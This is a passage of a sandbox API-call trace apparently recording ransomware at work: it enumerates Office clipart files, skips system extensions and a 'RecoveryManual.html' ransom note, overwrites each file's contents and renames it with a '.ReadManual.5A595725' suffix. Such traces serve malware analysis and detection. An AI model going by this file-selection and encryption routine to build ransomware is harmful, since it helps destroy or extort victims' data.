lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.643] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5116) returned 1 [0274.644] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13fc, lpName=0x0) returned 0x184 [0274.644] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.645] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.645] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.646] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.647] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13fc) returned 0x2f0000 [0274.647] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.647] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39531556793) returned 1 [0274.647] CloseHandle (hObject=0x184) returned 1 [0274.647] SetSecurityInfo () returned 0x57 [0274.647] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.647] CloseHandle (hObject=0x194) returned 1 [0274.647] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1 [0274.647] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00734_.WMF" | out: lpString1="SO00734_.WMF") returned="SO00734_.WMF" [0274.647] lstrcmpiW (lpString1="SO00734_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.647] StrStrIW (lpFirst="SO00734_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.647] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.647] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.648] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.648] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.648] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.648] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" [0274.648] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ReadManual.5A595725" [0274.648] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.ReadManual.5A595725") returned 87 [0274.648] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39531646978) returned 1 [0274.648] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf")) returned 0x20 [0274.648] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.648] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1632) returned 1 [0274.648] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x660, lpName=0x0) returned 0x184 [0274.649] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.649] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.649] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.651] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.651] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x660) returned 0x2f0000 [0274.651] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.651] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39532013799) returned 1 [0274.651] CloseHandle (hObject=0x184) returned 1 [0274.651] SetSecurityInfo () returned 0x57 [0274.652] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.652] CloseHandle (hObject=0x194) returned 1 [0274.652] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1 [0274.652] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00735_.WMF" | out: lpString1="SO00735_.WMF") returned="SO00735_.WMF" [0274.652] lstrcmpiW (lpString1="SO00735_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.652] StrStrIW (lpFirst="SO00735_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.652] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.652] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.652] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" [0274.652] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ReadManual.5A595725" [0274.652] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.ReadManual.5A595725") returned 87 [0274.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39532103551) returned 1 [0274.652] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf")) returned 0x20 [0274.653] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.653] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1484) returned 1 [0274.653] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cc, lpName=0x0) returned 0x184 [0274.653] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.654] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.654] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.656] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.656] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cc) returned 0x2f0000 [0274.656] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39532463802) returned 1 [0274.656] CloseHandle (hObject=0x184) returned 1 [0274.656] SetSecurityInfo () returned 0x57 [0274.656] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.656] CloseHandle (hObject=0x194) returned 1 [0274.656] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1 [0274.656] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00736_.WMF" | out: lpString1="SO00736_.WMF") returned="SO00736_.WMF" [0274.656] lstrcmpiW (lpString1="SO00736_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.656] StrStrIW (lpFirst="SO00736_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.656] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.656] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.657] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.657] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" [0274.657] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ReadManual.5A595725" [0274.657] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.ReadManual.5A595725") returned 87 [0274.657] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39532557559) returned 1 [0274.657] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf")) returned 0x20 [0274.658] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.658] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6220) returned 1 [0274.658] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x184c, lpName=0x0) returned 0x184 [0274.658] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.659] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.659] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.663] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.663] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x184c) returned 0x2f0000 [0274.663] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39533193827) returned 1 [0274.663] CloseHandle (hObject=0x184) returned 1 [0274.663] SetSecurityInfo () returned 0x57 [0274.663] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.663] CloseHandle (hObject=0x194) returned 1 [0274.663] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0274.664] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00768_.WMF" | out: lpString1="SO00768_.WMF") returned="SO00768_.WMF" [0274.664] lstrcmpiW (lpString1="SO00768_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.664] StrStrIW (lpFirst="SO00768_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.664] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.664] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.664] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" [0274.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ReadManual.5A595725" [0274.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.ReadManual.5A595725") returned 87 [0274.664] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39533286986) returned 1 [0274.664] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf")) returned 0x20 [0274.664] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.665] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21562) returned 1 [0274.665] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x543a, lpName=0x0) returned 0x184 [0274.665] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.666] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.666] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.668] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.668] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x543a) returned 0x2f0000 [0274.668] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39533700322) returned 1 [0274.668] CloseHandle (hObject=0x184) returned 1 [0274.668] SetSecurityInfo () returned 0x57 [0274.668] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.668] CloseHandle (hObject=0x194) returned 1 [0274.669] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0274.669] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00783_.WMF" | out: lpString1="SO00783_.WMF") returned="SO00783_.WMF" [0274.669] lstrcmpiW (lpString1="SO00783_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.669] StrStrIW (lpFirst="SO00783_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.669] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.669] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.669] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" [0274.669] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ReadManual.5A595725" [0274.669] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.ReadManual.5A595725") returned 87 [0274.669] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39533792888) returned 1 [0274.669] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf")) returned 0x20 [0274.669] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.670] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5870) returned 1 [0274.670] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16ee, lpName=0x0) returned 0x184 [0274.670] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.671] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.671] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.672] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.672] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16ee) returned 0x2f0000 [0274.673] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.673] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: 